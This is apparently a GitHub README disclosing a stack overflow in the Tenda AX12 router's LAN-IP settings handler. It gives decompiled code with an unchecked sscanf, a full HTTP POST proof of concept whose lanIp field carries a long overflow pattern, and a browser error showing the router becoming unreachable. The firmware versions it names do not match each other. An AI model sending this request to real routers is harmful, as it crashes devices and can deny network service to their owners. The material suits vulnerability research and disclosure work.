

CVE666

☆ 0 stars 🍴 0 forks

☆ Star

 Notifications

<> Code

⦿ Issues

🔗 Pull requests

▶ Actions

📁 Projects

🛡 Security

📈 Insights

🔑 main ▼

Go to file



NSSCYCTFER Update README.md ...

on Apr 4 ⌚ 2

[View code](#)

README.md

Stack Overflow Vulnerability in Tenda AX12 Router

write in front

Tenda official website: <https://www.tenda.com.cn/default.html>

About Tenda: <https://www.tenda.com.cn/profile/contact.html>

Firmware download: <https://www.tenda.com.cn/download/>

Affect version

当前版本: V22.03.01.21_cn

升级类型: ☒ 在线升级 ☐ 本地升级

当前版本为最新版本, 不需要升级

The picture shows the latest version

Vulnerability Details

```
v4 = sub_4151AC(a1, "lanIp", "192.168.0.1");
sub_426144(a2, 0, v4);
GetValue("firewall.dmz.enabled", v24, 32);
if ( !strcmp(v24, "1") )
{
    GetValue("firewall.dmz.dest_ip", v24, 32);
    v16 = 0;
    v17 = 0;
    v18 = 0;
    v19 = 0;
    sscanf(v24, "%[^.].%[^.].%[^.].%[^.]", &v16, &v17, &v18, &v19);
    v20 = 0;
    v21 = 0;
    v22 = 0;
    v23 = 0;
    sscanf(v4, "%[^.].%[^.].%[^.].%[^.]", &v20, &v21, &v22, &v23);
    if ( !strcmp(&v19, &v23) )
```

The program passes the content of the lanip parameter to v4, and then uses the sscanf function to format the matched content into the stack of v20, v21, v22, and v23 through regular expressions, without checking the size. There is a stack overflow vulnerability

Vulnerability reproduction and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use fat to simulate firmware V15.03.2.21_cn

2. Attack using the following POC attack

```
POST /goform/AdvSetLanip HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: /* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1637 Origin: http://192.168.0.1 Connection: close Referer: http://192.168.0.1/lan.html?random=0.14947494499674785& Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbchsdalb lanIp=192.168.0.1aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaaamaanaaaaoaaapaaaqaaaraaasaaataaaauaaavaaaawaaaxaaayaaazaabbaabcaabdaabeabfaabgaabhaabiaabjaabkaablaabmaabnaabo aabpaabqaabraabsaabaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaac laacmaacnaacoacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaa diaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaduaadvaadwaadxaadyaadzaeabaecaedaeeaaefaaegaaehaaeiaaejaae kaaelaemaenaeeoaaepaaeqaaeraaesaaetaaeuaaeavaeewaexaaeyaaeaaaaabaaacaaadaaaeaaafaaagaa ahaaaiaaaajaaakaaalaaamaanaaaaoaaapaaaqaaaraaasaaataaaauaaavaaaawaaaxaaayaaazaabbaabcaabda abeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboabpaabqaabraabsaabaabuaabvaabwaabxaabyaabz aacbaaccaacdaaceaacfaacgaachaaciaacjaackaac laacmaacnaacoacpaacqaacraacsaactaacuaacvaac waacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaa dtaaduaadvaadwaadxaadyaadzaeabaecaedaeeaaefaaegaaehaaeiaaejaae kaaelaemaenaeeoaaepaaeqaaeraaesaaetaaeuaaeavaeewaexaaeyaaeaaaaabaaacaaadaaaeaaafaaagaa ahaaaiaaaajaaakaaalaaamaanaaaaoaaapaaaqaaaraaasaaataaaauaaavaaaawaaaxaaayaaazaabbaabcaabda abeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboabpaabqaabraabsaabaabuaabvaabwaabxaabyaabz aacbaaccaacdaaceaacfaacgaachaaciaacjaackaac laacmaacnaacoacpaacqaacraacsaactaacuaacvaac waacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaa dtaaduaadvaadwaadxaadyaadzaeabaecaedaeeaaefaaegaaehaaeiaaejaae kaaelaemaenaeeoaaepaaeqaaeraaesaaetaaeuaaeavaeewaexaaeyaae&lanMask=255.255.255.0&dhcpEn=1&startIp=192.168.0.100&endIp=192.168.0.200&leaseTime=86400&lanDnsAuto=1&lanDns1=&lanDns2=
```

Unable to connect

An error occurred during a connection to 192.168.0.1.

- The site could be temporarily unavailable or too busy. Try again in a few moments.
- If you are unable to load any pages, check your computer's network connection.
- If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the Web.

Try Again

The picture shows the effect of POC attack

Releases

No releases published

Packages

No packages published